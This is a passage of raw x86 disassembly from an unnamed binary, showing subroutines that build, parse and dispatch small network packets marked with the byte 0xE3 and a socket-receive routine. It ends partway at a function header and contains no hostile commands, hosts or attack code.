S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A687 proc near ; CODE XREF: sub_40B1CC+43p var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 2 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov [ebp+var_4], 0E3h push [ebp+arg_0] mov [ebp+var_3], 1Dh call sub_40A4E8 leave retn 8 sub_40A687 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A8 proc near ; CODE XREF: sub_40B9D7+40p var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov al, byte ptr [ebp+arg_8] mov [ebp+var_12], al push esi push [ebp+arg_C] lea eax, [ebp+var_11] mov [ebp+arg_8], eax lea eax, [ebp+arg_8] push eax mov esi, ecx mov [ebp+var_14], 0E3h mov [ebp+var_13], 0Eh call sub_4097FB pop ecx pop ecx push 13h lea eax, [ebp+var_14] push eax push [ebp+arg_4] mov ecx, esi push [ebp+arg_0] call sub_40A4E8 pop esi leave retn 10h sub_40A6A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_40B9D7+196p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_10] lea ebx, [edi+17h] push ebx mov [ebp+var_4], ecx call sub_40D0BB push [ebp+arg_8] mov esi, eax mov [ebp+arg_10], esi mov byte ptr [esi], 0E3h inc [ebp+arg_10] mov eax, [ebp+arg_10] mov byte ptr [eax], 10h inc [ebp+arg_10] lea eax, [ebp+arg_10] push eax call sub_4097FB add esp, 0Ch cmp [ebp+arg_C], 0 jz short loc_40A74B test edi, edi jz short loc_40A74B mov eax, [ebp+arg_10] push edi push [ebp+arg_C] mov byte ptr [eax], 1 inc [ebp+arg_10] push [ebp+arg_10] call sub_40CCF7 add esp, 0Ch add [ebp+arg_10], edi jmp short loc_40A754 ; --------------------------------------------------------------------------- loc_40A74B: ; CODE XREF: sub_40A6EB+3Dj ; sub_40A6EB+41j mov eax, [ebp+arg_10] mov byte ptr [eax], 0 inc [ebp+arg_10] loc_40A754: ; CODE XREF: sub_40A6EB+5Ej push [ebp+arg_14] lea eax, [ebp+arg_10] push eax call sub_409783 push [ebp+arg_18] lea eax, [ebp+arg_10] push eax call sub_409783 mov ecx, [ebp+var_4] add esp, 10h push ebx push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40A4E8 push esi mov bl, al call sub_40D0B6 pop ecx pop edi pop esi mov al, bl pop ebx leave retn 1Ch sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A791 proc near ; CODE XREF: sub_40B8DC+3Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_C] push esi push edi lea edi, [ebx+2] push edi mov [ebp+var_4], ecx call sub_40D0BB mov esi, eax push ebx push [ebp+arg_8] lea eax, [esi+2] mov byte ptr [esi], 0E3h push eax mov byte ptr [esi+1], 13h call sub_40CCF7 mov ecx, [ebp+var_4] add esp, 10h push edi push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40A4E8 push esi mov bl, al call sub_40D0B6 pop ecx pop edi pop esi mov al, bl pop ebx leave retn 10h sub_40A791 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7E2 proc near ; CODE XREF: sub_40AEE0+53p ; sub_40B8DC+D4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx xor bl, bl cmp [ebp+arg_4], 4 push edi mov edi, ecx jl short loc_40A82F mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax call sub_40970B movzx eax, ax pop ecx mov ecx, eax imul ecx, 17h add ecx, 4 cmp ecx, [ebp+arg_4] jnz short loc_40A82F test eax, eax jle short loc_40A82D push esi mov esi, eax loc_40A81B: ; CODE XREF: sub_40A7E2+48j push [ebp+arg_0] mov ecx, edi call sub_40A582 add [ebp+arg_0], 17h dec esi jnz short loc_40A81B pop esi loc_40A82D: ; CODE XREF: sub_40A7E2+34j mov bl, 1 loc_40A82F: ; CODE XREF: sub_40A7E2+Dj ; sub_40A7E2+30j pop edi mov al, bl pop ebx pop ebp retn 8 sub_40A7E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A837 proc near ; CODE XREF: sub_40AEE0+45p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 19h push esi mov esi, ecx jz short loc_40A847 xor al, al jmp short loc_40A874 ; --------------------------------------------------------------------------- loc_40A847: ; CODE XREF: sub_40A837+Aj push ebx push 2 lea eax, [ebp+arg_C] push eax push [ebp+arg_4] mov byte ptr [ebp+arg_C], 0E3h push [ebp+arg_0] mov byte ptr [ebp+arg_C+1], 0Dh call sub_40A4E8 mov bl, al mov eax, [ebp+arg_8] add eax, 2 push eax mov ecx, esi call sub_40A582 mov al, bl pop ebx loc_40A874: ; CODE XREF: sub_40A837+Ej pop esi pop ebp retn 10h sub_40A837 endp ; =============== S U B R O U T I N E ======================================= sub_40A879 proc near ; CODE XREF: sub_40AEE0+31p ; sub_40B8DC+C7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov esi, ecx lea edi, [esi+30h] push edi call ds:dword_4180DC push [esp+8+arg_4] lea ecx, [esi+28h] push [esp+0Ch+arg_0] call sub_40A35D test eax, eax jz short loc_40A8A3 mov byte ptr [eax+1Ch], 0 mov byte ptr [eax+1Dh], 1 loc_40A8A3: ; CODE XREF: sub_40A879+20j push ebx mov ebx, [esi+2Ch] push edi call ds:dword_4180E0 add ebx, 66h cmp ebx, 400h pop ebx jge short loc_40A8CD push [esp+8+arg_4] mov ecx, esi push [esp+0Ch+arg_0] call sub_40A627 mov al, 1 jmp short loc_40A8CF ; --------------------------------------------------------------------------- loc_40A8CD: ; CODE XREF: sub_40A879+3Fj xor al, al loc_40A8CF: ; CODE XREF: sub_40A879+52j pop edi pop esi retn 8 sub_40A879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8D4 proc near ; CODE XREF: sub_40AEE0+9Ep var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push esi lea eax, [ebp+var_1A] mov esi, ecx mov [ebp+var_4], eax lea eax, [esi+18h] push eax lea eax, [ebp+var_4] push eax mov [ebp+var_1C], 0E3h mov [ebp+var_1B], 15h call sub_4097FB pop ecx pop ecx lea eax, [ebp+var_4] push eax mov ecx, esi call sub_40A4A4 push 18h lea eax, [ebp+var_1C] push eax push [ebp+arg_4] mov ecx, esi push [ebp+arg_0] call sub_40A4E8 pop esi leave retn 10h sub_40A8D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A91D proc near ; CODE XREF: sub_40AEE0+AFp var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_8] add eax, 2 push ebx mov [ebp+var_4], eax push esi lea eax, [ebp+var_4] push eax mov esi, ecx call sub_40970B cmp [ebp+arg_0], 0 pop ecx movzx ebx, ax mov byte ptr [ebp+arg_8+3], 0 jz short loc_40A997 test bx, bx jz short loc_40A997 push edi push [ebp+arg_0] xor eax, eax mov [ebp+var_C], 0E3h mov [ebp+var_B], 1Ch lea edi, [ebp+var_A] stosd lea eax, [ebp+var_A] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax call sub_4097C7 pop ecx pop ecx push 6 lea eax, [ebp+var_C] push eax push [ebp+arg_4] mov ecx, esi push [ebp+arg_0] call sub_40A4E8 movzx ecx, bx push ecx push [ebp+arg_4] mov byte ptr [ebp+arg_8+3], al push [ebp+arg_0] mov eax, [esi] mov ecx, esi call dword ptr [eax+4] pop edi loc_40A997: ; CODE XREF: sub_40A91D+28j ; sub_40A91D+2Dj mov al, byte ptr [ebp+arg_8+3] pop esi pop ebx leave retn 10h sub_40A91D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9A0 proc near ; CODE XREF: sub_40AEE0+C0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] add eax, 0FFFFFFDEh cmp eax, 1DEh push ebx mov ebx, ecx ja short loc_40AA13 push esi push edi push 12h call sub_40D0BB mov edi, [ebp+arg_8] mov esi, eax mov [ebp+var_4], esi mov byte ptr [esi], 0E3h inc [ebp+var_4] mov eax, [ebp+var_4] mov byte ptr [eax], 14h inc [ebp+var_4] add edi, 2 lea eax, [ebp+var_4] push edi push eax call sub_4097FB add esp, 0Ch push 12h push esi push [ebp+arg_4] mov ecx, ebx push [ebp+arg_0] call sub_40A4E8 mov eax, [ebp+arg_C] add eax, 0FFFFFFFEh push eax push edi lea ecx, [ebx+48h] call sub_409CF6 push esi mov bl, al call sub_40D0B6 pop ecx pop edi mov al, bl pop esi jmp short loc_40AA15 ; --------------------------------------------------------------------------- loc_40AA13: ; CODE XREF: sub_40A9A0+12j xor al, al loc_40AA15: ; CODE XREF: sub_40A9A0+71j pop ebx leave retn 10h sub_40A9A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA1A proc near ; CODE XREF: sub_40BD87+1EAp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebx] test esi, esi mov [ebp+var_4], ecx jz short loc_40AA71 push edi loc_40AA2D: ; CODE XREF: sub_40AA1A+54j mov edi, [esi] push dword ptr [edi+14h] mov ecx, [ebp+var_4] push dword ptr [edi+10h] push edi call sub_40A53E cmp [ebp+arg_4], 0 jz short loc_40AA61 mov ecx, edi call nullsub_1 push edi call sub_40D0B6 mov edi, [esi+4] pop ecx push esi mov ecx, ebx call sub_4041B2 mov esi, edi jmp short loc_40AA6C ; --------------------------------------------------------------------------- loc_40AA61: ; CODE XREF: sub_40AA1A+28j test esi, esi jz short loc_40AA70 mov esi, [esi+4] test esi, esi jz short loc_40AA70 loc_40AA6C: ; CODE XREF: sub_40AA1A+45j test esi, esi jnz short loc_40AA2D loc_40AA70: ; CODE XREF: sub_40AA1A+49j ; sub_40AA1A+50j pop edi loc_40AA71: ; CODE XREF: sub_40AA1A+10j pop esi pop ebx leave retn 8 sub_40AA1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=68h sub_40AA77 proc near ; CODE XREF: sub_40AEE0+64p var_90 = dword ptr -90h var_40 = byte ptr -40h var_30 = byte ptr -30h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-68h] sub esp, 90h cmp [ebp+68h+arg_C], 19h push ebx mov ebx, ecx jz short loc_40AA92 xor al, al jmp loc_40AC20 ; --------------------------------------------------------------------------- loc_40AA92: ; CODE XREF: sub_40AA77+12j mov eax, [ebp+68h+arg_8] push esi add eax, 2 push edi push eax mov [ebp+68h+var_C], eax lea eax, [ebx+18h] push eax lea eax, [ebp+68h+var_30] push eax call sub_409EED lea eax, [ebp+68h+var_30] push eax lea eax, [ebp+68h+var_40] push eax call sub_409E90 and [ebp+68h+arg_8], 0 lea eax, [ebx+30h] add esp, 14h push eax mov [ebp+68h+var_10], eax call ds:dword_4180DC mov edi, [ebx+28h] jmp short loc_40AB4A ; --------------------------------------------------------------------------- loc_40AAD1: ; CODE XREF: sub_40AA77+D5j mov esi, [edi] cmp byte ptr [esi+1Dh], 0 jz short loc_40AB43 mov eax, [ebp+68h+arg_0] cmp eax, [esi+10h] jnz short loc_40AAE9 mov eax, [ebp+68h+arg_4] cmp eax, [esi+14h] jz short loc_40AB43 loc_40AAE9: ; CODE XREF: sub_40AA77+68j push [ebp+68h+var_C] lea eax, [ebp+68h+var_20] push esi push eax call sub_409EED lea eax, [ebp+68h+var_40] push eax lea eax, [ebp+68h+var_20] push eax call sub_409EC5 add esp, 14h test eax, eax lea eax, [ebp+68h+var_20] push eax jz short loc_40AB13 lea eax, [ebp+68h+var_40] jmp short loc_40AB29 ; --------------------------------------------------------------------------- loc_40AB13: ; CODE XREF: sub_40AA77+95j lea eax, [ebp+68h+var_30] push eax call sub_409EC5 test eax, eax pop ecx pop ecx jz short loc_40AB43 lea eax, [ebp+68h+var_20] push eax lea eax, [ebp+68h+var_30] loc_40AB29: ; CODE XREF: sub_40AA77+9Aj push eax call sub_409E90 movzx eax, word ptr [ebp+68h+arg_8] inc [ebp+68h+arg_8] cmp word ptr [ebp+68h+arg_8], 14h pop ecx mov [ebp+eax*4+68h+var_90], esi pop ecx jz short loc_40AB4E loc_40AB43: ; CODE XREF: sub_40AA77+60j ; sub_40AA77+70j ... test edi, edi jz short loc_40AB4E mov edi, [edi+4] loc_40AB4A: ; CODE XREF: sub_40AA77+58j test edi, edi jnz short loc_40AAD1 loc_40AB4E: ; CODE XREF: sub_40AA77+CAj ; sub_40AA77+CEj cmp word ptr [ebp+68h+arg_8], 0 mov byte ptr [ebp+68h+arg_C+3], 0 jbe loc_40AC08 movzx esi, word ptr [ebp+68h+arg_8] imul esi, 17h add esi, 4 push esi call sub_40D0BB push [ebp+68h+arg_8] mov edi, eax mov [ebp+68h+var_4], edi mov byte ptr [edi], 0E3h inc [ebp+68h+var_4] mov eax, [ebp+68h+var_4] mov byte ptr [eax], 0Bh inc [ebp+68h+var_4] lea eax, [ebp+68h+var_4] push eax call sub_409783 add esp, 0Ch cmp word ptr [ebp+68h+arg_8], 0 mov byte ptr [ebp+68h+arg_C+3], 0 jbe short loc_40ABEF loc_40AB9B: ; CODE XREF: sub_40AA77+176j movzx eax, byte ptr [ebp+68h+arg_C+3] mov eax, [ebp+eax*4+68h+var_90] push eax mov [ebp+68h+var_8], eax lea eax, [ebp+68h+var_4] push eax call sub_4097FB mov eax, [ebp+68h+var_8] push dword ptr [eax+10h] lea eax, [ebp+68h+var_4] push eax call sub_4097C7 mov eax, [ebp+68h+var_8] movzx eax, word ptr [eax+14h] push eax lea eax, [ebp+68h+var_4] push eax call sub_409783 mov eax, [ebp+68h+var_8] mov al, [eax+1Ch] mov ecx, [ebp+68h+var_4] add esp, 18h mov [ecx], al inc [ebp+68h+var_4] inc byte ptr [ebp+68h+arg_C+3] movzx ax, byte ptr [ebp+68h+arg_C+3] cmp ax, word ptr [ebp+68h+arg_8] jb short loc_40AB9B loc_40ABEF: ; CODE XREF: sub_40AA77+122j push esi push edi push [ebp+68h+arg_4] mov ecx, ebx push [ebp+68h+arg_0] call sub_40A4E8 push edi mov byte ptr [ebp+68h+arg_C+3], al call sub_40D0B6 pop ecx loc_40AC08: ; CODE XREF: sub_40AA77+E0j push [ebp+68h+var_C] mov ecx, ebx call sub_40A582 push [ebp+68h+var_10] call ds:dword_4180E0 mov al, byte ptr [ebp+68h+arg_C+3] pop edi pop esi loc_40AC20: ; CODE XREF: sub_40AA77+16j pop ebx add ebp, 68h leave retn 10h sub_40AA77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC28 proc near ; CODE XREF: sub_40AEE0+75p var_64 = dword ptr -64h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 64h cmp [ebp+arg_C], 13h push esi mov esi, ecx mov [ebp+var_8], esi jz short loc_40AC41 xor al, al jmp loc_40AD6F ; --------------------------------------------------------------------------- loc_40AC41: ; CODE XREF: sub_40AC28+10j push ebx push edi mov edi, [ebp+arg_8] lea eax, [esi+30h] xor ebx, ebx add edi, 3 push eax mov byte ptr [ebp+arg_C+3], 0 mov [ebp+var_4], edi mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], eax call ds:dword_4180DC push ebx lea eax, [ebp+var_14] push eax push edi lea eax, [esi+18h] push eax lea ecx, [esi+28h] call sub_40A1D1 test al, al jz loc_40AD61 mov ecx, [ebp+var_14] jmp short loc_40ACA7 ; --------------------------------------------------------------------------- loc_40AC84: ; CODE XREF: sub_40AC28+81j mov eax, [ecx] mov edx, [ebp+arg_0] cmp edx, [eax+10h] jnz short loc_40AC96 mov edx, [ebp+arg_4] cmp edx, [eax+14h] jz short loc_40ACA0 loc_40AC96: ; CODE XREF: sub_40AC28+64j mov [ebp+ebx*4+var_64], eax inc ebx cmp ebx, 14h jz short loc_40ACAB loc_40ACA0: ; CODE XREF: sub_40AC28+6Cj test ecx, ecx jz short loc_40ACAB mov ecx, [ecx+4] loc_40ACA7: ; CODE XREF: sub_40AC28+5Aj test ecx, ecx jnz short loc_40AC84 loc_40ACAB: ; CODE XREF: sub_40AC28+76j ; sub_40AC28+7Aj push 0 lea ecx, [ebp+var_14] call sub_40A12A mov esi, ebx imul esi, 17h add esi, 13h push esi call sub_40D0BB push [ebp+var_4] mov edi, eax mov [ebp+arg_8], edi mov byte ptr [edi], 0E3h inc [ebp+arg_8] mov eax, [ebp+arg_8] mov byte ptr [eax], 0Fh inc [ebp+arg_8] lea eax, [ebp+arg_8] push eax call sub_4097FB mov eax, [ebp+arg_8] add esp, 0Ch mov [eax], bl inc [ebp+arg_8] test ebx, ebx mov byte ptr [ebp+arg_C+3], 0 jbe short loc_40AD47 loc_40ACF6: ; CODE XREF: sub_40AC28+11Dj movzx eax, byte ptr [ebp+arg_C+3] mov eax, [ebp+eax*4+var_64] push eax mov [ebp+var_4], eax lea eax, [ebp+arg_8] push eax call sub_4097FB mov eax, [ebp+var_4] push dword ptr [eax+10h] lea eax, [ebp+arg_8] push eax call sub_4097C7 mov eax, [ebp+var_4] movzx eax, word ptr [eax+14h] push eax lea eax, [ebp+arg_8] push eax call sub_409783 mov eax, [ebp+var_4] mov al, [eax+1Ch] mov ecx, [ebp+arg_8] add esp, 18h mov [ecx], al inc [ebp+arg_8] inc byte ptr [ebp+arg_C+3] movzx eax, byte ptr [ebp+arg_C+3] cmp eax, ebx jb short loc_40ACF6 loc_40AD47: ; CODE XREF: sub_40AC28+CCj mov ecx, [ebp+var_8] push esi push edi push [ebp+arg_4] push [ebp+arg_0] call sub_40A4E8 push edi mov byte ptr [ebp+arg_C+3], al call sub_40D0B6 pop ecx loc_40AD61: ; CODE XREF: sub_40AC28+51j push [ebp+var_C] call ds:dword_4180E0 mov al, byte ptr [ebp+arg_C+3] pop edi pop ebx loc_40AD6F: ; CODE XREF: sub_40AC28+14j pop esi leave retn 10h sub_40AC28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD74 proc near ; CODE XREF: sub_40AEE0+D1p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_C], 17h push edi mov edi, ecx mov [ebp+var_C], edi jz short loc_40AD8D xor al, al jmp loc_40AEDB ; --------------------------------------------------------------------------- loc_40AD8D: ; CODE XREF: sub_40AD74+10j and [ebp+var_10], 0 push esi mov esi, [ebp+arg_8] cmp byte ptr [esi+12h], 0 jnz short loc_40ADBB lea eax, [esi+13h] mov [ebp+arg_C], eax lea eax, [ebp+arg_C] push eax call sub_40970B lea eax, [ebp+arg_C] push eax call sub_40970B movzx eax, ax pop ecx pop ecx mov [ebp+var_10], eax loc_40ADBB: ; CODE XREF: sub_40AD74+25j and [ebp+var_4], 0 lea eax, [edi+50h] add esi, 2 push eax mov [ebp+var_14], esi mov byte ptr [ebp+arg_C+3], 0 call ds:dword_4180DC mov esi, [edi+48h] test esi, esi mov [ebp+var_8], esi jz loc_40AE76 push ebx jmp short loc_40ADE7 ; --------------------------------------------------------------------------- loc_40ADE4: ; CODE XREF: sub_40AD74+EFj mov esi, [ebp+var_8] loc_40ADE7: ; CODE XREF: sub_40AD74+6Ej test esi, esi jz short loc_40ADEF mov ebx, [esi] jmp short loc_40ADF1 ; --------------------------------------------------------------------------- loc_40ADEF: ; CODE XREF: sub_40AD74+75j xor ebx, ebx loc_40ADF1: ; CODE XREF: sub_40AD74+79j push dword ptr [ebx+8] push [ebp+var_14] call sub_409EAD test eax, eax pop ecx pop ecx jz short loc_40AE57 mov esi, [ebx+4] inc esi inc esi push esi call sub_40D0BB mov edi, eax mov byte ptr [edi], 0E3h mov byte ptr [edi+1], 11h push dword ptr [ebx+4] lea eax, [edi+2] push dword ptr [ebx+8] push eax call sub_40CCF7 mov ecx, [ebp+var_C] add esp, 10h push esi push edi push [ebp+arg_4] push [ebp+arg_0] call sub_40A4E8 inc [ebp+var_4] mov byte ptr [ebp+arg_C+3], al mov eax, [ebp+var_10] test eax, eax jle short loc_40AE4A cmp [ebp+var_4], eax jz short loc_40AE6B loc_40AE4A: ; CODE XREF: sub_40AD74+CFj push edi call sub_40D0B6 mov edi, [ebp+var_C] mov esi, [ebp+var_8] pop ecx loc_40AE57: ; CODE XREF: sub_40AD74+8Cj test esi, esi jz short loc_40AE75 mov esi, [esi+4] test esi, esi mov [ebp+var_8], esi jnz loc_40ADE4 jmp short loc_40AE75 ; --------------------------------------------------------------------------- loc_40AE6B: ; CODE XREF: sub_40AD74+D4j push edi call sub_40D0B6 mov edi, [ebp+var_C] pop ecx loc_40AE75: ; CODE XREF: sub_40AD74+E5j ; sub_40AD74+F5j pop ebx loc_40AE76: ; CODE XREF: sub_40AD74+67j lea eax, [edi+50h] push eax call ds:dword_4180E0 push 16h call sub_40D0BB push [ebp+var_14] mov esi, eax mov [ebp+arg_8], esi mov byte ptr [esi], 0E3h inc [ebp+arg_8] mov eax, [ebp+arg_8] mov byte ptr [eax], 12h inc [ebp+arg_8] lea eax, [ebp+arg_8] push eax call sub_4097FB lea eax, [ebp+arg_8] push 0 push eax call sub_409783 lea eax, [ebp+arg_8] push 0 push eax call sub_409783 add esp, 1Ch push 16h push esi push [ebp+arg_4] mov ecx, edi push [ebp+arg_0] call sub_40A4E8 push esi call sub_40D0B6 mov al, byte ptr [ebp+arg_C+3] pop ecx pop esi loc_40AEDB: ; CODE XREF: sub_40AD74+14j pop edi leave retn 10h sub_40AD74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40B7CD+7Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] cmp byte ptr [eax], 0E3h jz short loc_40AEF2 loc_40AEEB: ; CODE XREF: sub_40AEE0+29j ; sub_40AEE0+8Ej xor al, al jmp loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AEF2: ; CODE XREF: sub_40AEE0+9j movzx edx, byte ptr [eax+1] cmp edx, 0Eh jg short loc_40AF5C jz short loc_40AF4B sub edx, 0Ah jz short loc_40AF3A dec edx jz short loc_40AF2F dec edx jz short loc_40AF1B dec edx jnz short loc_40AEEB push [ebp+arg_4] push [ebp+arg_0] call sub_40A879 jmp loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF1B: ; CODE XREF: sub_40AEE0+26j push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A837 jmp loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF2F: ; CODE XREF: sub_40AEE0+23j push [ebp+arg_C] push eax call sub_40A7E2 jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF3A: ; CODE XREF: sub_40AEE0+20j push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40AA77 jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF4B: ; CODE XREF: sub_40AEE0+1Bj push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40AC28 jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF5C: ; CODE XREF: sub_40AEE0+19j cmp edx, 10h jz short loc_40AFA7 cmp edx, 13h jz short loc_40AF96 cmp edx, 1Bh jz short loc_40AF85 cmp edx, 1Eh jnz loc_40AEEB push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A8D4 jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF85: ; CODE XREF: sub_40AEE0+89j push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A91D jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AF96: ; CODE XREF: sub_40AEE0+84j push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A9A0 jmp short loc_40AFB6 ; --------------------------------------------------------------------------- loc_40AFA7: ; CODE XREF: sub_40AEE0+7Fj push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40AD74 loc_40AFB6: ; CODE XREF: sub_40AEE0+Dj ; sub_40AEE0+36j ... pop ebp retn 10h sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AFBA proc near ; DATA XREF: .rdata:off_41C128o arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41C128 call sub_40DA75 test [esp+4+arg_0], 1 jz short loc_40AFD6 push esi call sub_40D0B6 pop ecx loc_40AFD6: ; CODE XREF: sub_40AFBA+13j mov eax, esi pop esi retn 4 sub_40AFBA endp ; =============== S U B R O U T I N E ======================================= sub_40AFDC proc near ; CODE XREF: sub_40B199+19p arg_0 = dword ptr 4 push esi push 0 push 7FFFFFFFh push [esp+0Ch+arg_0] mov esi, ecx push 0 call ds:dword_418060 mov [esi], eax mov eax, esi pop esi retn 4 sub_40AFDC endp ; =============== S U B R O U T I N E ======================================= sub_40AFFA proc near ; CODE XREF: sub_40B016+BFp ; sub_40B232+21p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40B013 loc_40B002: ; CODE XREF: sub_40AFFA+17j mov eax, [esp+arg_0] add eax, ecx mov dl, [eax] inc ecx cmp ecx, [esp+arg_4] mov [eax], dl jl short loc_40B002 locret_40B013: ; CODE XREF: sub_40AFFA+6j retn 8 sub_40AFFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B016 proc near ; CODE XREF: sub_40B7CD+2Fp var_1024 = dword ptr -1024h var_20 = word ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1024h call sub_4011B0 mov eax, [ebp+arg_8] push ebx push esi mov esi, ecx push edi mov [ebp+var_10], eax lea eax, [ebp+var_1024] xor ebx, ebx lea edi, [esi+0A0h] push eax mov ecx, edi mov [ebp+var_C], ebx mov [ebp+var_1024], ebx call sub_40D686 lea eax, [ebp+var_4] push eax mov ecx, edi mov [ebp+var_4], ebx call sub_40D6D7 lea eax, [ebp+var_10] push eax push ebx push ebx lea eax, [ebp+var_1024] push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4181A4 cmp eax, ebx mov [ebp+arg_8], eax jle short loc_40B0F9 lea eax, [ebp+var_1024] push eax mov ecx, edi call sub_40D6C2 test al, al jz short loc_40B0F9 lea ebx, [esi+0ACh] push ebx mov [ebp+var_20], 2 mov [ebp+var_8], 10h call ds:dword_4180DC lea eax, [ebp+var_8] push eax lea eax, [ebp+var_20] push eax push 0 push [ebp+arg_4] mov ecx, edi push [ebp+arg_0] call sub_40D8A6 push ebx mov [ebp+arg_8], eax call ds:dword_4180E0 cmp [ebp+arg_8], 0 jle short loc_40B0F9 push [ebp+arg_8] mov ecx, esi push [ebp+arg_0] call sub_40AFFA push [ebp+var_1C] call ds:dword_4181B0 mov ecx, [ebp+arg_C] push dword ptr [ebp-1Eh] mov [ecx], eax call ds:dword_4181A8 mov ecx, [ebp+arg_10] movzx eax, ax mov [ecx], eax loc_40B0F9: ; CODE XREF: sub_40B016+62j ; sub_40B016+74j ... mov eax, [ebp+arg_8] pop edi pop esi pop ebx leave retn 14h sub_40B016 endp ; =============== S U B R O U T I N E ======================================= sub_40B103 proc near ; CODE XREF: sub_40BD87+191p ; sub_40BD87+1DFp 